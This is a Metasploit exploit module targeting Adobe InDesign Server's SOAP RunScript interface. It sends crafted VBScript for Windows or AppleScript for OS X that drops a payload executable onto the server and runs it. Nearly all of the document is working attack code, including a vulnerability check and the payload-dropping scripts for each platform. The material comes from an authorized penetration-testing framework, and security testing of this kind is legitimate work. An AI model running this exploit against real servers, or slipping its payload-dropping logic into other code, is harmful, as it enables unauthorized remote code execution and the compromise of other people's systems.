Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution',
        'Description' => %q{
          This module abuses the "RunScript" procedure provided by the SOAP interface of
          Adobe InDesign Server, to execute arbitrary vbscript (Windows) or applescript (OSX).

          The exploit drops the payload on the server and must be removed manually.
        },
        'Author' => [
          'h0ng10' # Vulnerability discovery / Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'DisclosureDate' => '2012-11-11',
        'References' => [
          [ 'OSVDB', '87548'],
          [ 'URL', 'http://web.archive.org/web/20130119134644/http://secunia.com/advisories/48572/' ]
        ],
        'Targets' => [
          [
            'Indesign CS6 Server / Windows (64 bits)',
            {
              'Arch' => ARCH_X64,
              'Platform' => 'win'
            }
          ],
          [
            'Indesign CS6 Server / Mac OS X Snow Leopard 64 bits',
            {
              'Arch' => ARCH_X64,
              'Author' => 'juan vazquez',
              'Platform' => 'osx'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([ Opt::RPORT(12345) ])
  end

  def send_soap_request(script_code, script_type)
    script_code.gsub!(/&/, '&amp;')
    soap_xml = %(
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns.adobe.com/InDesign/soap/">
  <SOAP-ENV:Body>
    <IDSP:RunScript>
      <IDSP:runScriptParameters>
        <IDSP:scriptText>#{script_code}</IDSP:scriptText>
        <IDSP:scriptLanguage>#{script_type}</IDSP:scriptLanguage>
      </IDSP:runScriptParameters>
    </IDSP:RunScript>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
)

    send_request_cgi({
      'uri' => '/',
      'method' => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'data' => soap_xml
    }, 5)
  end

  def check
    # Use a very simple javascript
    check_var = rand_text_numeric(10)
    checkscript = 'returnValue = "' + check_var + '"'

    res = send_soap_request(checkscript, 'javascript')

    return Exploit::CheckCode::Vulnerable('InDesign Server executed the test script successfully') if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>')

    return Exploit::CheckCode::Safe('InDesign Server SOAP endpoint did not return expected response')
  end

  def exploit
    if target.name =~ /Windows/
      print_status('Creating payload vbs script')
      encoded_payload = generate_payload_exe.unpack('H*').join
      exe_file = Rex::Text.rand_text_alpha_upper(8) + '.exe'
      wsf = Rex::Text.rand_text_alpha(8)
      payload_var = Rex::Text.rand_text_alpha(8)
      exe_name_var = Rex::Text.rand_text_alpha(8)
      file_var = Rex::Text.rand_text_alpha(8)
      byte_var = Rex::Text.rand_text_alpha(8)
      shell_var = Rex::Text.rand_text_alpha(8)

      # This one creates a smaller vbs payload (without deletion)
      vbs = %{
Set #{wsf} = CreateObject("Scripting.FileSystemObject")
#{payload_var}  = "#{encoded_payload}"
#{exe_name_var} =  #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}"
Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE)
For x = 1 To Len(#{payload_var})-3 Step 2
  #{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2)
  #{file_var}.write Chr(#{byte_var})
Next

#{file_var}.write Chr(#{byte_var})
#{file_var}.close

Set #{shell_var} = CreateObject("Wscript.Shell")
#{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False
Set #{shell_var} = Nothing
returnValue = #{exe_name_var}
      }
      #	vbs = Msf::Util::EXE.to_exe_vbs(exe)
      print_status('Sending SOAP request')

      res = send_soap_request(vbs, 'visual basic')
      if !res.nil? and !res.body.nil?
        file_to_delete = res.body.to_s.scan(%r{<data xsi:type="xsd:string">(.*)</data></scriptResult>}).flatten[0]
        print_warning "Payload deployed to #{file_to_delete}, please remove manually"
      end

    elsif target.name =~ /Mac OS X/

      print_status('Creating payload apple script')

      exe_payload = generate_payload_exe
      b64_exe_payload = Rex::Text.encode_base64(exe_payload)
      b64_payload_name = rand_text_alpha(rand(5..9))
      payload_name = rand_text_alpha(rand(5..9))

      apple_script = %(
set fp to open for access POSIX file "/tmp/#{b64_payload_name}.txt" with write permission
write "begin-base64 644 #{payload_name}\n#{b64_exe_payload}\n====\n" to fp
close access fp
do shell script "uudecode -o /tmp/#{payload_name} /tmp/#{b64_payload_name}.txt"
do shell script "rm /tmp/#{b64_payload_name}.txt"
do shell script "chmod +x /tmp/#{payload_name}"
do shell script "/tmp/#{payload_name}"
set returnValue to "/tmp/#{payload_name}"
      )

      print_status('Sending SOAP request')

      res = send_soap_request(apple_script, 'applescript')

      if !res.nil? and !res.body.nil?
        file_to_delete = res.body.to_s.scan(%r{<data xsi:type="xsd:string">(.*)</data></scriptResult>}).flatten[0]
        file_to_delete = "/tmp/#{payload_name}" if file_to_delete.nil? or file_to_delete.empty?
        print_warning "Payload deployed to #{file_to_delete}, please remove manually"
      elsif !res
        print_status "No response, it's expected"
        print_warning "Payload deployed to /tmp/#{payload_name}, please remove manually"
      end

    end
  end
end